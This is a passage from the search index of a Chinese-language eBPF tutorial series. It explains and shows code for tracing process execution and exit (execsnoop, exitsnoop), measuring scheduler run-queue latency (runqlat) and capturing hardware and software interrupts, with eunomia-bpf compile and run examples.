trace_event_raw_sys_enter* ctx)\n{ u64 id; pid_t pid, tgid; struct event event={0}; struct task_struct *task; uid_t uid = (u32)bpf_get_current_uid_gid(); id = bpf_get_current_pid_tgid(); tgid = id >> 32; event.pid = tgid; event.uid = uid; task = (struct task_struct*)bpf_get_current_task(); event.ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&event.comm, sizeof(event.comm)); bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); return 0;\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码定义了个 eBPF 程序，用于捕获进程执行 execve 系统调用的入口。 在入口程序中，我们首先获取了当前进程的进程 ID 和用户 ID，然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体，并通过 bpf_probe_read_str 函数读取了进程名称。最后，我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 使用这段代码，我们就可以捕获 Linux 内核中进程执行的事件, 并分析进程的执行情况。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 使用容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者使用 ecc 编译： ecc execsnoop.bpf.c execsnoop.h 运行 $ sudo ./ecli run package.json TIME PID PPID UID COMM 21:28:30 40747 3517 1000 node\n21:28:30 40748 40747 1000 sh\n21:28:30 40749 3517 1000 node\n21:28:30 40750 40749 1000 sh\n21:28:30 40751 3517 1000 node\n21:28:30 40752 40751 1000 sh\n21:28:30 40753 40752 1000 cpuUsage.sh","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » execsnoop","id":"42","title":"execsnoop"},"43":{"body":"本文介绍了如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。在 libbpf 对应的内核态代码中，定义这样一个结构体和对应的头文件： struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 就可以往用户态直接发送信息。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » 总结","id":"43","title":"总结"},"44":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出","id":"44","title":"eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出"},"45":{"body":"现在有一个新的 BPF 数据结构可用，eBPF 环形缓冲区（ring buffer）。它解决了 BPF perf buffer（当今从内核向用户空间发送数据的事实上的标准）的内存效率和事件重排问题，同时达到或超过了它的性能。它既提供了与 perf buffer 兼容以方便迁移，又有新的保留/提交API，具有更好的可用性。另外，合成和真实世界的基准测试表明，在几乎所有的情况下，所以考虑将其作为从BPF程序向用户空间发送数据的默认选择。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » ring buffer","id":"45","title":"ring buffer"},"46":{"body":"只要 BPF 程序需要将收集到的数据发送到用户空间进行后处理和记录，它通常会使用 BPF perf buffer（perfbuf）来实现。Perfbuf 是每个CPU循环缓冲区的集合，它允许在内核和用户空间之间有效地交换数据。它在实践中效果很好，但由于其按CPU设计，它有两个主要的缺点，在实践中被证明是不方便的：内存的低效使用和事件的重新排序。 为了解决这些问题，从Linux 5.8开始，BPF提供了一个新的BPF数据结构（BPF map）。BPF环形缓冲区（ringbuf）。它是一个多生产者、单消费者（MPSC）队列，可以同时在多个CPU上安全共享。 BPF ringbuf 支持来自 BPF perfbuf 的熟悉的功能: 变长的数据记录。 能够通过内存映射区域有效地从用户空间读取数据，而不需要额外的内存拷贝和/或进入内核的系统调用。 既支持epoll通知，又能以绝对最小的延迟进行忙环操作。 同时，BPF ringbuf解决了BPF perfbuf的以下问题: 内存开销。 数据排序。 浪费的工作和额外的数据复制。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF ringbuf vs eBPF perfbuf","id":"46","title":"eBPF ringbuf vs eBPF perfbuf"},"47":{"body":"本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件，并使用 ring buffer 向用户态打印输出。 使用 ring buffer 向用户态打印输出的步骤和 perf buffer 类似，首先需要定义一个头文件： 头文件：exitsnoop.h #ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN];\n}; #endif /* __BOOTSTRAP_H */ 源文件：exitsnoop.bpf.c #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"exitsnoop.h\"\nchar LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码展示了如何使用 exitsnoop 监控进程退出事件并使用 ring buffer 向用户态打印输出： 首先，我们引入所需的头文件和 exitsnoop.h。 定义一个名为 \"LICENSE\" 的全局变量，内容为 \"Dual BSD/GPL\"，这是 eBPF 程序的许可证要求。 定义一个名为 rb 的 BPF_MAP_TYPE_RINGBUF 类型的映射，它将用于将内核空间的数据传输到用户空间。指定 max_entries 为 256 * 1024，代表 ring buffer 的最大容量。 定义一个名为 handle_exit 的 eBPF 程序，它将在进程退出事件触发时执行。传入一个名为 ctx 的 trace_event_raw_sched_process_template 结构体指针作为参数。 使用 bpf_get_current_pid_tgid() 函数获取当前任务的 PID 和 TID。对于主线程，PID 和 TID 相同；对于子线程，它们是不同的。我们只关心进程（主线程）的退出，因此在 PID 和 TID 不同时返回 0，忽略子线程退出事件。 使用 bpf_ringbuf_reserve 函数为事件结构体 e 在 ring buffer 中预留空间。如果预留失败，返回 0。 使用 bpf_get_current_task() 函数获取当前任务的 task_struct 结构指针。 将进程相关信息填充到预留的事件结构体 e 中，包括进程持续时间、PID、PPID、退出代码以及进程名称。 最后，使用 bpf_ringbuf_submit 函数将填充好的事件结构体 e 提交到 ring buffer，之后在用户空间进行处理和输出。 这个示例展示了如何使用 exitsnoop 和 ring buffer 在 eBPF 程序中捕获进程退出事件并将相关信息传输到用户空间。这对于分析进程退出原因和监控系统行为非常有用。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » exitsnoop","id":"47","title":"exitsnoop"},"48":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest Or $ ecc exitsnoop.bpf.c exitsnoop.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ./ecli run package.json TIME PID PPID EXIT_CODE DURATION_NS COMM 21:40:09 42050 42049 0 0 which\n21:40:09 42049 3517 0 0 sh\n21:40:09 42052 42051 0 0 ps\n21:40:09 42051 3517 0 0 sh\n21:40:09 42055 42054 0 0 sed\n21:40:09 42056 42054 0 0 cat\n21:40:09 42057 42054 0 0 cat\n21:40:09 42058 42054 0 0 cat\n21:40:09 42059 42054 0 0 cat","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » Compile and Run","id":"48","title":"Compile and Run"},"49":{"body":"本文介绍了如何使用 eunomia-bpf 开发一个简单的 BPF 程序，该程序可以监控 Linux 系统中的进程退出事件, 并将捕获的事件通过 ring buffer 发送给用户空间程序。在本文中，我们使用 eunomia-bpf 编译运行了这个例子。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » 总结","id":"49","title":"总结"},"5":{"body":"了解并尝试一下 eBPF 开发框架： BCC 开发各类小工具的例子： https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md （跑一遍，3-4h） libbpf 的一些例子： https://github.com/libbpf/libbpf-bootstrap （选感兴趣的运行一下，并阅读一下源代码，2h） 基于 libbpf 和 eunomia-bpf 的教程： https://github.com/eunomia-bpf/bpf-developer-tutorial （阅读 1-10 的部分，3-4h） 其他开发框架：Go 语言或者 Rust 语言，请自行搜索并且尝试（0-2h） 有任何问题或者想了解的东西，不管是不是和本项目相关，都可以在本项目的 discussions 里面开始讨论。 回答一些问题，并且进行一些尝试（2-5h）： 如何开发一个最简单的 eBPF 程序？ 如何用 eBPF 追踪一个内核功能或函数？有很多种方法，举出对应的代码； 有哪些方案能通过用户态和内核态通信？如何从用户态向内核态传送信息？如何从内核态向用户态传递信息？举出代码示例； 编写一个你自己的 eBPF 程序，实现一个功能； eBPF 程序的整个生命周期里面，分别在用户态和内核态做了哪些事情？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 了解如何开发 eBPF 程序（10-15h）","id":"5","title":"了解如何开发 eBPF 程序（10-15h）"},"50":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 runqlat 是一个 eBPF 工具，用于分析 Linux 系统的调度性能。具体来说，runqlat 用于测量一个任务在被调度到 CPU 上运行之前在运行队列中等待的时间。这些信息对于识别性能瓶颈和提高 Linux 内核调度算法的整体效率非常有用。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录","id":"50","title":"eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录"},"51":{"body":"本教程是 eBPF 入门开发实践系列的第九部分，主题是 \"捕获进程调度延迟\"。在此，我们将介绍一个名为 runqlat 的程序，其作用是以直方图的形式记录进程调度延迟。 Linux 操作系统使用进程来执行所有的系统和用户任务。这些进程可能被阻塞、杀死、运行，或者正在等待运行。处在后两种状态的进程数量决定了 CPU 运行队列的长度。 进程有几种可能的状态，如： 可运行或正在运行 可中断睡眠 不可中断睡眠 停止 僵尸进程 等待资源或其他函数信号的进程会处在可中断或不可中断的睡眠状态：进程被置入睡眠状态，直到它需要的资源变得可用。然后，根据睡眠的类型，进程可以转移到可运行状态，或者保持睡眠。 即使进程拥有它需要的所有资源，它也不会立即开始运行。它会转移到可运行状态，与其他处在相同状态的进程一起排队。CPU可以在接下来的几秒钟或毫秒内执行这些进程。调度器为 CPU 排列进程，并决定下一个要执行的进程。 根据系统的硬件配置，这个可运行队列（称为 CPU 运行队列）的长度可以短也可以长。短的运行队列长度表示 CPU 没有被充分利用。另一方面，如果运行队列长，那么可能意味着 CPU 不够强大，无法执行所有的进程，或者 CPU 的核心数量不足。在理想的 CPU 利用率下，运行队列的长度将等于系统中的核心数量。 进程调度延迟，也被称为 \"run queue latency\"，是衡量线程从变得可运行（例如，接收到中断，促使其处理更多工作）到实际在 CPU 上运行的时间。在 CPU 饱和的情况下，你可以想象线程必须等待其轮次。但在其他奇特的场景中，这也可能发生，而且在某些情况下，它可以通过调优减少，从而提高整个系统的性能。 我们将通过一个示例来阐述如何使用 runqlat 工具。这是一个负载非常重的系统： # runqlat\nTracing run queue latency... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* | 16384 -> 32767 : 809 |****************************************| 32768 -> 65535 : 64 |*** | 在这个输出中，我们看到了一个双模分布，一个模在0到15微秒之间，另一个模在16到65毫秒之间。这些模式在分布（它仅仅是 \"count\" 列的视觉表示）中显示为尖峰。例如，读取一行：在追踪过程中，809个事件落入了16384到32767微秒的范围（16到32毫秒）。 在后续的教程中，我们将深入探讨如何利用 eBPF 对此类指标进行深度跟踪和分析，以更好地理解和优化系统性能。同时，我们也将学习更多关于 Linux 内核调度器、中断处理和 CPU 饱 runqlat 的实现利用了 eBPF 程序，它通过内核跟踪点和函数探针来测量进程在运行队列中的时间。当进程被排队时，trace_enqueue 函数会在一个映射中记录时间戳。当进程被调度到 CPU 上运行时，handle_switch 函数会检索时间戳，并计算当前时间与排队时间之间的时间差。这个差值（或 delta）被用于更新进程的直方图，该直方图记录运行队列延迟的分布。该直方图可用于分析 Linux 内核的调度性能。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 原理","id":"51","title":"runqlat 原理"},"52":{"body":"","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 代码实现","id":"52","title":"runqlat 代码实现"},"53":{"body":"首先我们需要编写一个源代码文件 runqlat.bpf.c: // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_tracing.h>\n#include \"runqlat.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\"\n#include \"core_fixes.bpf.h\" #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ struct hist *histp; u64 *tsp, slot; u32 pid, hkey; s64 delta; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (get_task_state(prev) == TASK_RUNNING) trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid)); pid = BPF_CORE_READ(next, pid); tsp = bpf_map_lookup_elem(&start, &pid); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (delta < 0) goto cleanup; if (targ_per_process) hkey = BPF_CORE_READ(next, tgid); else if (targ_per_thread) hkey = pid; else if (targ_per_pidns) hkey = pid_namespace(next); else hkey = -1; histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero); if (!histp) goto cleanup; if (!histp->comm[0]) bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm), next->comm); if (targ_ms) delta /= 1000000U; else delta /= 1000U; slot = log2l(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); cleanup: bpf_map_delete_elem(&start, &pid); return 0;\n} SEC(\"raw_tp/sched_wakeup\")\nint BPF_PROG(handle_sched_wakeup, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_wakeup_new\")\nint BPF_PROG(handle_sched_wakeup_new, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_switch\")\nint BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next)\n{ return handle_switch(preempt, prev, next);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这其中定义了一些常量和全局变量，用于过滤对应的追踪目标： #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; 这些变量包括最大映射项数量、任务状态、过滤选项和目标选项。这些选项可以通过用户空间程序设置，以定制 eBPF 程序的行为。 接下来，定义了一些 eBPF 映射： struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); 这些映射包括： cgroup_map 用于过滤 cgroup； start 用于存储进程入队时的时间戳； hists 用于存储直方图数据，记录进程调度延迟。 接下来是一些辅助函数： trace_enqueue 函数用于在进程入队时记录其时间戳： static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} pid_namespace 函数用于获取进程所属的 PID namespace： static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} handle_switch 函数是核心部分，用于处理调度切换事件，计算进程调度延迟并更新直方图数据： static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ ...\n} 首先，函数根据 filter_cg 的设置判断是否需要过滤 cgroup。然后，如果之前的进程状态为 TASK_RUNNING，则调用 trace_enqueue 函数记录进程的入队时间。接着，函数查找下一个进程的入队时间戳，如果找不到，直接返回。计算调度延迟（delta），并根据不同的选项设置（targ_per_process，targ_per_thread，targ_per_pidns），确定直方图映射的键（hkey）。然后查找或初始化直方图映射，更新直方图数据，最后删除进程的入队时间戳记录。 接下来是 eBPF 程序的入口点。程序使用三个入口点来捕获不同的调度事件： handle_sched_wakeup：用于处理 sched_wakeup 事件，当一个进程从睡眠状态被唤醒时触发。 handle_sched_wakeup_new：用于处理 sched_wakeup_new 事件，当一个新创建的进程被唤醒时触发。 handle_sched_switch：用于处理 sched_switch 事件，当调度器选择一个新的进程运行时触发。 这些入口点分别处理不同的调度事件，但都会调用 handle_switch 函数来计算进程的调度延迟并更新直方图数据。 最后，程序包含一个许可证声明： char LICENSE[] SEC(\"license\") = \"GPL\"; 这一声明指定了 eBPF 程序的许可证类型，这里使用的是 \"GPL\"。这对于许多内核功能是必需的，因为它们要求 eBPF 程序遵循 GPL 许可证。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.bpf.c","id":"53","title":"runqlat.bpf.c"},"54":{"body":"然后我们需要定义一个头文件runqlat.h，用来给用户态处理从内核态上报的事件： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#ifndef __RUNQLAT_H\n#define __RUNQLAT_H #define TASK_COMM_LEN 16\n#define MAX_SLOTS 26 struct hist { __u32 slots[MAX_SLOTS]; char comm[TASK_COMM_LEN];\n}; #endif /* __RUNQLAT_H */","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.h","id":"54","title":"runqlat.h"},"55":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc runqlat.bpf.c runqlat.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ecli run examples/bpftools/runqlat/package.json -h\nUsage: runqlat_bpf [--help] [--version] [--verbose] [--filter_cg] [--targ_per_process] [--targ_per_thread] [--targ_per_pidns] [--targ_ms] [--targ_tgid VAR] A simple eBPF program Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --filter_cg set value of bool variable filter_cg --targ_per_process set value of bool variable targ_per_process --targ_per_thread set value of bool variable targ_per_thread --targ_per_pidns set value of bool variable targ_per_pidns --targ_ms set value of bool variable targ_ms --targ_tgid set value of pid_t variable targ_tgid Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run examples/bpftools/runqlat/package.json\nkey = 4294967295\ncomm = rcu_preempt (unit) : count distribution 0 -> 1 : 9 |**** | 2 -> 3 : 6 |** | 4 -> 7 : 12 |***** | 8 -> 15 : 28 |************* | 16 -> 31 : 40 |******************* | 32 -> 63 : 83 |****************************************| 64 -> 127 : 57 |*************************** | 128 -> 255 : 19 |********* | 256 -> 511 : 11 |***** | 512 -> 1023 : 2 | | 1024 -> 2047 : 2 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 0 | | 8192 -> 16383 : 0 | | 16384 -> 32767 : 1 | | $ sudo ecli run examples/bpftools/runqlat/package.json --targ_per_process\nkey = 3189\ncomm = cpptools (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 1 |*** | 16 -> 31 : 2 |******* | 32 -> 63 : 11 |****************************************| 64 -> 127 : 8 |***************************** | 128 -> 255 : 3 |********** | 完整源代码请见： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/9-runqlat 参考资料： https://www.brendangregg.com/blog/2016-10-08/linux-bcc-runqlat.html https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.c","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 编译运行","id":"55","title":"编译运行"},"56":{"body":"runqlat 是一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度。编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令。 runqlat 是一种用于监控Linux内核中进程调度延迟的工具。它可以帮助您了解进程在内核中等待执行的时间，并根据这些信息优化进程调度，提高系统的性能。可以在 libbpf-tools 中找到最初的源代码： https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.bpf.c 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 总结","id":"56","title":"总结"},"57":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第十篇，在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件。 hardirqs 和 softirqs 是 Linux 内核中两种不同类型的中断处理程序。它们用于处理硬件设备产生的中断请求，以及内核中的异步事件。在 eBPF 中，我们可以使用同名的 eBPF 工具 hardirqs 和 softirqs 来捕获和分析内核中与中断处理相关的信息。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件","id":"57","title":"eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件"},"58":{"body":"hardirqs 是硬件中断处理程序。当硬件设备产生一个中断请求时，内核会将该请求映射到一个特定的中断向量，然后执行与之关联的硬件中断处理程序。硬件中断处理程序通常用于处理设备驱动程序中的事件，例如设备数据传输完成或设备错误。 softirqs 是软件中断处理程序。它们是内核中的一种底层异步事件处理机制，用于处理内核中的高优先级任务。softirqs 通常用于处理网络协议栈、磁盘子系统和其他内核组件中的事件。与硬件中断处理程序相比，软件中断处理程序具有更高的灵活性和可配置性。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 和 softirqs 是什么？","id":"58","title":"hardirqs 和 softirqs 是什么？"},"59":{"body":"在 eBPF 中，我们可以通过挂载特定的 kprobe 或者 tracepoint 来捕获和分析 hardirqs 和 softirqs。为了捕获 hardirqs 和 softirqs，需要在相关的内核函数上放置 eBPF 程序。这些函数包括： 对于 hardirqs：irq_handler_entry 和 irq_handler_exit。 对于 softirqs：softirq_entry 和 softirq_exit。 当内核处理 hardirqs 或 softirqs 时，这些 eBPF 程序会被执行，从而收集相关信息，如中断向量、中断处理程序的执行时间等。收集到的信息可以用于分析内核中的性能问题和其他与中断处理相关的问题。 为了捕获 hardirqs 和 softirqs，可以遵循以下步骤： 在 eBPF 程序中定义用于存储中断信息的数据结构和映射。 编写 eBPF 程序，将其挂载到相应的内核函数上，以捕获 hardirqs 或 softirqs。 在 eBPF 程序中，收集中断处理程序的相关信息，并将这些信息存储在映射中。 在用户空间应用程序中，读取映射中的数据以分析和展示中断处理信息。 通过上述方法，我们可以在 eBPF 中使用 hardirqs 和 softirqs 捕获和分析内核中的中断事件，以识别潜在的性能问题和与中断处理相关的问题。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 实现原理","id":"59","title":"实现原理"},"6":{"body":"原始的eBPF程序编写是非常繁琐和困难的。为了改变这一现状，llvm于2015年推出了可以将由高级语言编写的代码编译为eBPF字节码的功能，同时，eBPF 社区将 bpf() 等原始的系统调用进行了初步地封装，给出了libbpf库。这些库会包含将字节码加载到内核中的函数以及一些其他的关键函数。在Linux的源码包的samples/bpf/目录下，有大量Linux提供的基于libbpf的eBPF样例代码。 一个典型的基于 libbpf 